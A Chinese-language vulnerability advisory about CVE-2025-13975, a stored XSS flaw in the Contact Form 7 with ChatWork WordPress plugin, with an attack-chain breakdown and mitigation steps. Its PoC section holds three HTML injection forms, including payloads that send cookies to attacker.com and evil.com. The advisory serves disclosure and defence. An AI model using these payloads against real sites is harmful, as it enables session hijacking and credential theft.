IPBUF安全漏洞报告
English
CVE-2025-13975 CVSS 4.4 中危

CVE-2025-13975 WordPress Contact Form 7 with ChatWork插件存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13975
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Contact Form 7 with ChatWork plugin for WordPress

相关标签

存储型XSSWordPress插件漏洞CVE-2025-13975Contact Form 7 with ChatWork跨站脚本权限提升会话劫持WordPress安全CMS漏洞Web应用安全

漏洞概述

Contact Form 7 with ChatWork是WordPress平台上广受欢迎的表单插件,用于集成ChatWork即时通讯服务。该插件在所有版本直到1.1.0存在严重的存储型跨站脚本(XSS)漏洞。漏洞根源在于插件对用户输入的'api_token'和'roomid'设置参数缺乏有效的输入清理和输出转义处理。攻击者通过在插件设置页面注入恶意JavaScript代码,当其他管理员或用户访问该设置页面时,恶意脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取或进一步的管理权限滥用。此漏洞具有持久性特点,一旦恶意代码被注入,将长期存在于数据库中,每次访问设置页面都会触发执行。值得注意的是,此漏洞仅影响多站点WordPress安装和禁用unfiltered_html功能的站点环境。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,CVSS评分4.4,中危级别。漏洞存在于Contact Form 7 with ChatWork插件的设置处理逻辑中,具体位于contact-form-7-chatwork.php文件的第80行和第89行附近。攻击者(需具备管理员权限)可在插件设置页面的'api_token'和'roomid'输入字段中注入包含<script>标签或事件处理器(如onerror、onload等)的恶意JavaScript代码。由于插件未对这些输入进行适当的HTML实体转义(如htmlspecialchars()或esc_html()),导致恶意代码被直接存储在WordPress数据库的wp_options表中。当管理员或具有适当权限的用户访问插件设置页面时,这些未转义的数据会被直接输出到HTML页面中,从而触发XSS执行。攻击者可利用此漏洞窃取管理员会话cookie、修改插件配置或进行进一步的攻击。攻击向量为网络可访问(AV:N),但需要高权限认证(PR:H),无需用户交互(UI:N)。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的WordPress版本和Contact Form 7 with ChatWork插件版本(<=1.1.0),确认插件存在且可访问管理后台
STEP 2
Authentication
攻击者获取WordPress管理员级别账户凭据并成功登录管理后台
STEP 3
Payload Injection
攻击者导航到Contact Form 7 with ChatWork插件的设置页面,在'api_token'或'roomid'输入字段中注入包含恶意JavaScript代码的XSS payload
STEP 4
Persistence
攻击者提交设置表单,恶意代码被存储在WordPress数据库的wp_options表中,由于缺乏输入清理,恶意脚本被原样保存
STEP 5
Trigger
当其他管理员或用户访问Contact Form 7 with ChatWork插件设置页面时,未转义的用户输入被输出到HTML页面中
STEP 6
Execution
受害者浏览器解析HTML页面时,执行注入的恶意JavaScript代码,攻击者达到窃取会话cookie、劫持账户或进一步攻击的目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13975 PoC: Stored XSS in Contact Form 7 with ChatWork --> <!-- Requires administrator privileges --> <!-- Steps: --> <!-- 1. Login to WordPress admin panel --> <!-- 2. Navigate to Contact Form 7 with ChatWork settings page --> <!-- 3. Inject XSS payload in 'api_token' or 'roomid' field --> <!-- 4. Save settings --> <!-- 5. XSS will execute when anyone accesses the settings page --> <!-- Method 1: Using script tag --> <form method="post" action="/wp-admin/admin.php?page=contact-form-7-chatwork"> <input type="hidden" name="api_token" value='"><script>alert(document.cookie)</script><x y='> <input type="hidden" name="roomid" value="test"> <input type="hidden" name="submit" value="Save"> <button type="submit">Exploit</button> </form> <!-- Method 2: Using event handler --> <form method="post" action="/wp-admin/admin.php?page=contact-form-7-chatwork"> <input type="hidden" name="api_token" value='" onmouseover="alert(document.domain)" x="'> <input type="hidden" name="roomid" value='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'> <input type="hidden" name="submit" value="Save"> <button type="submit">Exploit</button> </form> <!-- Method 3: Cookie stealing payload --> <form method="post" action="/wp-admin/admin.php?page=contact-form-7-chatwork"> <input type="hidden" name="api_token" value='"><script>fetch("https://evil.com/log?c="+btoa(document.cookie))</script><x>'> <input type="hidden" name="roomid" value="12345"> <input type="hidden" name="submit" value="Save"> <button type="submit">Exploit</button> </form>

影响范围

Contact Form 7 with ChatWork plugin <= 1.1.0

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 限制管理员账户数量,确保只有可信人员拥有管理员权限;2) 在wp-config.php中启用DISALLOW_UNFILTERED_HTML常量(注意:这可能影响部分插件和主题功能);3) 使用WordPress安全插件监控管理员操作和文件变更;4) 考虑暂时禁用Contact Form 7 with ChatWork插件,使用替代方案;5) 加强对管理员账户的MFA多因素认证;6) 定期检查wp_options表中的plugin_settings选项,确认无异常代码注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表